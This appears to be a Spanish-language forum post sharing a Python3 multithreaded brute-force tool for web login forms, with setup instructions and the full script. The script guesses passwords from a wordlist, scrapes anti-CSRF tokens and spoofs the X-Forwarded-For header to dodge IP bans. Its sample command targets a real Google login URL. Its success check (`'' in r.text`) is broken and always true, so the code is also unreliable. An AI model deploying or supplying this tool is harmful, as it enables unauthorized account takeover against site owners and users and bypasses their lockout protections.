Brute Force Login With Threads
Brute-Force Login With Threads
https://pastebin.com/9gW4iGkJ
He realizado este script ya que he estado investigando un poco y me parecía que no habían muchos scripts en python3 que realicen fuerza bruta a un login, por eso he decidido compartirlo con vosotros.
Primero que nada os voy a comentar un poco lo que hace este script y como debéis de usarlo ya que no funciona para cualquier pagina, actualmente en esta “version” únicamente funciona contra paginas que tengan o no tengan un tokenCSRF, en caso de que no lo tengan implementado y unicamente se tramite por POST el “username” y el “password” tenéis que cambiar la configuración del script de esta forma:
#Extraccion del token anti-csrf
#token = re.findall(r'id="jstokenCSRF" name="tokenCSRF" value="(.*?)"', r.text)[0]
post_data = {
#'tokenCSRF': '%s' % token,
'username' : '%s' % username,
'password' : '%s' % password,
'save': ''
}
También tenéis que configurar la respuesta del lado del servidor para comprobar si la contraseña es correcta o no lo es, para ello realizareis una petición con unas credenciales incorrectas y veréis el típico error al fallar las credenciales como por ej: “Invalid credentials”, sabiendo la respuesta del lado del servidor configurareis el script de la siguiente forma:
#Configuracion de la respuesta del servidor para averiguar la contraseña
if "Invalid credentials" not in r.text:
print(Color.BLUE + "\n\nLa contraseña es: " + Color.YELLOW + "%s" % password)
executor.shutdown(wait=False, cancel_futures=True)
sys.exit(1)
else:
pass
Por mi experiencia en la creación del script recomiendo no usar mas de 2 hilos de velocidad (esta puesto 2 hilos por defecto), ya que estos tipos de ataques dependen mucho de la velocidad de respuesta del servidor web, y si le metemos muchos hilos va a ir muy rápido pero no le dará tiempo a comprobar si la contraseña es correcta o no. Todo depende de la velocidad del servidor.
Os dejo por aquí también el script:
#!/usr/bin/python3
# -*- coding: utf-8 -*-
import requests
from pwn import *
import urllib3
import mmap
import argparse
from concurrent.futures import ThreadPoolExecutor
# CTRL+C
def def_hundler(sig, frame):
print(Color.RED + "[!]Saliendo..")
exit(1)
signal.signal(signal.SIGINT, def_hundler)
#Colores
class Color:
CYAN = '\033[96m'
BLUE = '\033[94m'
GREEN = '\033[92m'
YELLOW = '\033[93m'
RED = '\033[91m'
END = '\033[0m'
#Funciones
def usage():
fNombre = os.path.basename(__file__)
ussage = fNombre + ' [-h] [-url URL] [-u USERNAME] [-w DICCIONARIO] [-t HILOS]\n\n'
ussage += '[+] Examples:\n'
ussage += '\t' + fNombre + ' -url https://google.com/login -u admin -w /usr/share/wordlists/rockyou.txt -t 2\n'
return ussage
def arguments():
parse = argparse.ArgumentParser(usage=usage(), description="Python3 Brute-Force login with threads")
parse.add_argument('-u', dest='username', type=str, default='', help='Usuario a reventar')
parse.add_argument('-w', dest='diccionario', type=str, default='', help='Diccionario a usar')
parse.add_argument('-url', dest='url', type=str, help='URL del login')
parse.add_argument('-t', dest='threads', type=int, default='2', help='Hilos (Velocidad), Default -> [2]')
return parse.parse_args()
#Funcion para sacar el numero de palabras de un diccionario
def get_num_lines(diccionario):
fp = open(diccionario, "r+")
buf = mmap.mmap(fp.fileno(), 0)
lines = 0
while buf.readline():
lines += 1
return lines
def do_login(s, url, username, password, executor, count, total):
try:
r = s.get(url)
#Extraccion del token anti-csrf
token = re.findall(r'id="jstokenCSRF" name="tokenCSRF" value="(.*?)"', r.text)[0]
post_data = {
'tokenCSRF': '%s' % token,
'username' : '%s' % username,
'password' : '%s' % password,
'save': ''
}
headers_data = {
#Bypass IP-BAN
'X-Forwarded-For': '%s' % password,
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0',
}
# proxy = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
r = s.post(url, data=post_data, headers=headers_data, allow_redirects = True)
p1.status(Color.BLUE + "Intentando con la contraseña" + Color.RED + " [%d/" %count + "%d] ==>" %total + Color.GREEN + " %s" %password)
#Configuracion de la respuesta del servidor para averiguar la contraseña
if '' in r.text:
print(Color.BLUE + "\n\nLa contraseña del usuario " + Color.YELLOW + "%s " %username + Color.BLUE + "es: " + Color.YELLOW + "%s" % password)
executor.shutdown(wait=False, cancel_futures=True)
sys.exit(1)
else:
pass
except Exception as e:
print(e)
def main(url, username, diccionario, executor):
try:
urllib3.disable_warnings()
s = requests.session()
s.verify = False
count = 0
with open(diccionario, encoding='latin-1') as fp:
for password in fp.read().splitlines():
count += 1
executor.submit(do_login, s, url, username, password, executor, count, total)
except Exception as e:
print(e)
if __name__ == '__main__':
print(Color.CYAN + """
██████╗ ██████╗ ██╗ ██╗████████╗███████╗ ███████╗ ██████╗ ██████╗ ██████╗███████╗██████╗
██╔══██╗██╔══██╗██║ ██║╚══██╔══╝██╔════╝ ██╔════╝██╔═══██╗██╔══██╗██╔════╝██╔════╝██╔══██╗
██████╔╝██████╔╝██║ ██║ ██║ █████╗█████╗█████╗ ██║ ██║██████╔╝██║ █████╗ ██████╔╝
██╔══██╗██╔══██╗██║ ██║ ██║ ██╔══╝╚════╝██╔══╝ ██║ ██║██╔══██╗██║ ██╔══╝ ██╔══██╗
██████╔╝██║ ██║╚██████╔╝ ██║ ███████╗ ██║ ╚██████╔╝██║ ██║╚██████╗███████╗██║ ██║
╚═════╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚══════╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═════╝╚══════╝╚═╝ ╚═╝
""")
args = arguments()
total = get_num_lines(args.diccionario)
p1 = log.progress(Color.BLUE + "Fuerza Bruta sobre el usuario :" + Color.RED + " %s" % args.username)
executor = ThreadPoolExecutor(args.threads)
main(args.url, args.username, args.diccionario, executor)